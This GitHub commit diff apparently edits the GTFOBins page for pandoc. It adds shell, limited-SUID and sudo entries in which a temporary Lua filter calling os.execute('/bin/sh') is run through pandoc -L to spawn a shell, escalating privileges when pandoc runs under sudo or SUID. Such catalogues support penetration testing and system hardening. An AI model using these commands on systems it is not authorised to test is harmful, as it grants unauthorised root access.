Add Pandoc shell

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Alvin Nguyen 2023-12-23 04:58:05 -08:00 committed by GitHub
parent e988dbb8fa
commit a0be237bf5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,12 +8,26 @@ functions:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo DATA | pandoc -t plain -o "$LFILE" echo DATA | pandoc -t plain -o "$LFILE"
shell:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
pandoc -L $TF /dev/null
suid: suid:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo DATA | ./pandoc -t plain -o "$LFILE" echo DATA | ./pandoc -t plain -o "$LFILE"
limited-suid:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
./pandoc -L $TF /dev/null
sudo: sudo:
- code: | - description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
LFILE=file_to_write code: |
echo DATA | sudo pandoc -t plain -o "$LFILE" TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
sudo pandoc -L $TF /dev/null
--- ---